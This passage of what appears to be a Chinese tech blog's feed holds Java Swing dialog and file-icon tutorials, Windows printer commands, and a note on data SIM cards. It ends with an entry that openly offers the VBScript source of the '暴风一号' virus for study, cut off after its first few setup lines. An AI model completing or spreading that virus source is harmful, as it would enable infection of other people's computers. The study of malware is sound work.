class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">MessageDialog(<span class="params">null</span>,<span class="string">"这里是消息提示对话框！"</span>,<span class="string">"消息提示"</span>,JOptionPane.WARNING_MESSAGE)</span>;<span class="comment">//消息对话框</span></span><br></pre></td></tr></table></figure><p>效果如下：<br><img src="/img/preloader.gif" data-original="20200818170613202.png" alt></p><h4 id="选择对话框"><a href="#选择对话框" class="headerlink" title="选择对话框"></a>选择对话框</h4><p>选择对话框（howOptionDialog）只有一种构造函数如下：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">OptionDialog(<span class="params">parentComponent</span>, <span class="params">message</span>, <span class="params">title</span>, <span class="params">optionType</span>, <span class="params">messageType</span>, <span class="params">icon</span>, <span class="params">options</span>, <span class="params">initialValue</span>)</span></span><br></pre></td></tr></table></figure><p>使用实例如下。最后一个参数表示默认选择的内容，：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">String <span class="literal">[]</span> options = &#123;<span class="string">"A选项"</span>,<span class="string">"B选项"</span>,<span class="string">"C选项"</span>,<span class="string">"D选项"</span>&#125;;</span><br><span class="line"><span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">OptionDialog(<span class="params">null</span>,<span class="string">"请选择你的选项："</span>,<span class="string">"提示"</span>,JOptionPane.YES_NO_OPTION,JOptionPane.QUESTION_MESSAGE,<span class="params">null</span>,<span class="params">options</span>,<span class="params">options</span>[0])</span>;<span class="comment">//选择对话框*/</span></span><br></pre></td></tr></table></figure><p>效果如下：<br><img src="/img/preloader.gif" data-original="20200818170737500.png" alt></p><p>选择对话框下获取用户选项的方法：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">String <span class="literal">[]</span> options = &#123;<span class="string">"A选项"</span>,<span class="string">"B选项"</span>,<span class="string">"C选项"</span>,<span class="string">"D选项"</span>&#125;;</span><br><span class="line"><span class="built_in">int</span> n =  <span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">OptionDialog(<span class="params">null</span>,<span class="string">"请选择你的选项："</span>,<span class="string">"提示"</span>,JOptionPane.YES_NO_OPTION,JOptionPane.QUESTION_MESSAGE,<span class="params">null</span>,<span class="params">options</span>,<span class="params">options</span>[0])</span>;<span class="comment">//选择对话框*/</span></span><br><span class="line"><span class="module-access"><span class="module"><span class="identifier">System</span>.</span></span>out.println(options<span class="literal">[<span class="identifier">n</span>]</span>);</span><br></pre></td></tr></table></figure><h4 id="自定义消息图标"><a href="#自定义消息图标" class="headerlink" title="自定义消息图标"></a>自定义消息图标</h4><p>自定义对话框图标的方法如下：</p><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ImageIcon icon = <span class="keyword">new</span> <span class="constructor">ImageIcon(<span class="string">"it.jpg"</span>)</span>;<span class="comment">//注意设置图片尺寸，50*50px较适合</span></span><br><span class="line"><span class="module-access"><span class="module"><span class="identifier">JOptionPane</span>.</span></span>show<span class="constructor">MessageDialog(<span class="params">null</span>, <span class="string">"这是自定义图标！"</span>,<span class="string">"提示"</span>,JOptionPane.WARNING_MESSAGE,<span class="params">icon</span>)</span>;</span><br><span class="line"><span class="comment">//该消息框的提示图标会被自定义的图标覆盖掉</span></span><br></pre></td></tr></table></figure><p>效果如下：<br><img src="/img/preloader.gif" data-original="20200818170925372.png" alt></p><p>关于JOptionPane类中弹窗的使用就先分享到这里，之后还会对其他使用继续更新！</p><p>觉得有用记得点赞关注哟！</p><p>大灰狼陪你一起进步！</p><p>同时你也可以关注我的微信公众号“灰狼洞主”后台回复“Java笔记”获取Java精讲视频、面试宝典、项目案例剖析、项目架构等超多资料分享！</p><p><img src="/img/preloader.gif" data-original="20200818171130454.jpg" alt></p><blockquote><p>转载自<a href="https://blog.csdn.net/weixin_44985880/article/details/108081685" target="_blank" rel="noopener">灰小猿-超详细的Java弹窗样式及使用教程【JOptionPane类详细使用教程】</a></p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;JOptionPane类是Swing程序设计中进行弹窗设置的主要方式，本文将详细对Java弹窗进行总结，包括弹窗的设置方法和对内容的读取！敬请阅读！&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>控制台操作打印机</title>
    <link href="https://gddhy.net/2024/kong-zhi-tai-cao-zuo-da-yin-ji/"/>
    <id>https://gddhy.net/2024/kong-zhi-tai-cao-zuo-da-yin-ji/</id>
    <published>2024-01-18T13:07:46.000Z</published>
    <updated>2026-05-29T05:26:45.570Z</updated>
    
    <content type="html"><![CDATA[<p>获取已安装的打印机名称</p><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wmic printer <span class="keyword">get</span> <span class="built_in">name</span></span><br></pre></td></tr></table></figure><a id="more"></a><p>打开打印机首选项</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rundll32 printui.dll,PrintUIEntry <span class="string">/e</span> <span class="string">/n</span> <span class="string">"打印机名称"</span></span><br></pre></td></tr></table></figure><p>打印测试页</p><figure class="highlight jboss-cli"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rundll32 printui.dll,PrintUIEntry <span class="string">/k</span> <span class="string">/n</span> <span class="string">"打印机名称"</span></span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;获取已安装的打印机名称&lt;/p&gt;
&lt;figure class=&quot;highlight applescript&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;wmic printer &lt;span class=&quot;keyword&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;built_in&quot;&gt;name&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>流量卡相关</title>
    <link href="https://gddhy.net/2024/liu-liang-qia-xiang-guan/"/>
    <id>https://gddhy.net/2024/liu-liang-qia-xiang-guan/</id>
    <published>2024-01-17T22:26:39.000Z</published>
    <updated>2026-05-29T05:26:45.587Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>摘自 <a href="https://www.coolapk.com/feed/52223731" target="_blank" rel="noopener">澜派流量卡合集-关于流量卡的一些介绍</a> 写在最后的话</p></blockquote><a id="more"></a>  <p>我们不要把流量卡想成一个多么深不可测的产品和业务，能占他多大的便宜，他就是运营商给到你和正规套餐中间的一个过渡期，我们绝大多数的消费者都经历过从学生校园卡到工作后换套餐的情况，流量卡也是其中的一个环节，在未来的某一天我们终要考虑给家里再安装条宽带，让老公老婆孩子父母也办一张卡，大家去用家庭套餐通话，</p><p>而这个时候，我们心上要算的那笔账可能就从一个月一百G的流量变成柴米油盐了，那个时候我们在回首看过往，蓦然发现摆在我们抽屉里的当初咱们用的一张张手机卡承载的是奔波在外的伙伴夜深人静时刷刷视频给到自己的休息时间，是做销售岗位时不断尝试拨打客户电话的拼搏时间，是技术开发浏览CSDN研究代码的加班时间，更是我们最终安心联系上家人，给父母打一通视频电话时的温馨时间。</p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;摘自 &lt;a href=&quot;https://www.coolapk.com/feed/52223731&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;澜派流量卡合集-关于流量卡的一些介绍&lt;/a&gt; 写在最后的话&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>Java获取文件图标</title>
    <link href="https://gddhy.net/2024/java-huo-qu-wen-jian-tu-biao/"/>
    <id>https://gddhy.net/2024/java-huo-qu-wen-jian-tu-biao/</id>
    <published>2024-01-17T22:18:58.000Z</published>
    <updated>2026-05-29T05:26:45.506Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>转载自<a href="https://blog.csdn.net/qincidong/article/details/9112251" target="_blank" rel="noopener">Java获取文件图标</a>  </p></blockquote><a id="more"></a><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.awt.FlowLayout;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> javax.swing.Icon;</span><br><span class="line"><span class="keyword">import</span> javax.swing.ImageIcon;</span><br><span class="line"><span class="keyword">import</span> javax.swing.JFrame;</span><br><span class="line"><span class="keyword">import</span> javax.swing.JLabel;</span><br><span class="line"><span class="keyword">import</span> javax.swing.filechooser.FileSystemView;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">GetFileIcon</span> </span>&#123;</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> args</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>&#123;</span><br><span class="line">  String filePath = <span class="string">"D:/luckystar2008/works/QDII/SR/SR_PA02897156-QDII后台估值核算规则优化_任务分配.xlsx"</span>;</span><br><span class="line">  File f = <span class="keyword">new</span> File(filePath);</span><br><span class="line">  JFrame frm = <span class="keyword">new</span> JFrame();</span><br><span class="line">  frm.setSize(<span class="number">300</span>, <span class="number">200</span>);</span><br><span class="line">  frm.setLocationRelativeTo(<span class="keyword">null</span>);</span><br><span class="line">  frm.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);</span><br><span class="line">  frm.setVisible(<span class="keyword">true</span>);</span><br><span class="line">  frm.setLayout(<span class="keyword">new</span> FlowLayout(<span class="number">10</span>,<span class="number">10</span>,FlowLayout.LEADING));</span><br><span class="line">  </span><br><span class="line">  JLabel sl = <span class="keyword">new</span> JLabel(<span class="string">"小图标"</span>);</span><br><span class="line">  frm.add(sl);</span><br><span class="line">  JLabel bl = <span class="keyword">new</span> JLabel(<span class="string">"大图标"</span>);</span><br><span class="line">  frm.add(bl);</span><br><span class="line">  </span><br><span class="line">  sl.setIcon(getSmallIcon(f));</span><br><span class="line">  bl.setIcon(getBigIcon(f));</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取小图标</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> f</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> Icon <span class="title">getSmallIcon</span><span class="params">(File f)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (f != <span class="keyword">null</span> &amp;&amp; f.exists()) &#123;</span><br><span class="line">   FileSystemView fsv = FileSystemView.getFileSystemView();</span><br><span class="line">   <span class="keyword">return</span> fsv.getSystemIcon(f);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 获取大图标</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> f</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> Icon <span class="title">getBigIcon</span><span class="params">(File f)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (f!=<span class="keyword">null</span> &amp;&amp; f.exists()) &#123;</span><br><span class="line">   <span class="keyword">try</span> &#123;</span><br><span class="line">    sun.awt.shell.ShellFolder sf = sun.awt.shell.ShellFolder.getShellFolder(f);</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> ImageIcon(sf.getIcon(<span class="keyword">true</span>));</span><br><span class="line">   &#125; <span class="keyword">catch</span> (FileNotFoundException e) &#123;</span><br><span class="line">    <span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line">    e.printStackTrace();</span><br><span class="line">   &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/img/preloader.gif" data-original="20130617143841437.png" alt="img"></p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;转载自&lt;a href=&quot;https://blog.csdn.net/qincidong/article/details/9112251&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Java获取文件图标&lt;/a&gt;  &lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
    
  </entry>
  
  <entry>
    <title>暴风一号 病毒 源码学习</title>
    <link href="https://gddhy.net/2024/bao-feng-yi-hao-bing-du-yuan-ma-xue-xi/"/>
    <id>https://gddhy.net/2024/bao-feng-yi-hao-bing-du-yuan-ma-xue-xi/</id>
    <published>2024-01-13T14:56:23.000Z</published>
    <updated>2026-05-29T05:26:45.587Z</updated>
    
    <content type="html"><![CDATA[<p>暴风一号 病毒 源码学习，vbs源码</p><a id="more"></a><figure class="highlight vbs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span> <span class="comment">'//屏蔽出错信息，发生错误时继续向下执行</span></span><br><span class="line"><span class="keyword">Dim</span> Fso,WshShell <span class="comment">'//定义了两个变量</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//创建并返回对 